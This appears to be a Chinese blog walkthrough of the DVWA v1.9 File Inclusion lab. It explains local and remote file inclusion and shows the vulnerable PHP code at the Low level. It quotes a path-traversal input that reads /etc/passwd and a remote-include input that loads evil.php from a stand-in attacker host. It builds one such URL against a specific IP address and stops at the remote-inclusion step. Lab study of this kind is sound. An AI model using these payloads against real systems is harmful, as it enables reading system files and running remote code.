DVWA V1.9:File Inclusion(文件包含)
File Inclusion 介绍
一些Web应用程序允许用户指定直接用于文件流的输入,或者允许用户将文件上载到服务器。
在稍后的时间,Web应用程序访问Web应用上下文中的用户提供的输入。
通过这样做,Web应用程序允许潜在的恶意文件执行。
如果所选择的文件在目标机上是本地的,则称为“本地文件包含(LFI)”。
但是文件也可以包含在其他机器上,然后攻击是一个“远程文件包含(RFI)”。
当RFI不是一个选项。使用LFI(如文件上传和目录遍历)的另一个漏洞通常可以达到相同的效果。
注意,“文件包含”一词与“任意文件访问”或“文件泄露”不一样。
Low 级别
核心代码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
可以看到,服务器端对page参数没有做任何的过滤跟检查。
服务器期望用户的操作是点击下面的三个链接,服务器会包含相应的文件,并将结果返回。
需要特别说明的是,服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。
官方提示
这允许直接输入到许多PHP函数之一这将包括执行时的内容。
取决于Web服务的配置将取决于RFI是可能的。
Spoiler: LFI: ?page=../../../../../../etc/passwd.
Spoiler: RFI: ?page=http://www.evilsite.com/evil.php.
漏洞利用
1.本地文件包含
构造url
http://43.247.91.228:81/vulnerabilities/fi/?page=../../../../../../etc/passwd
2.远程文件包含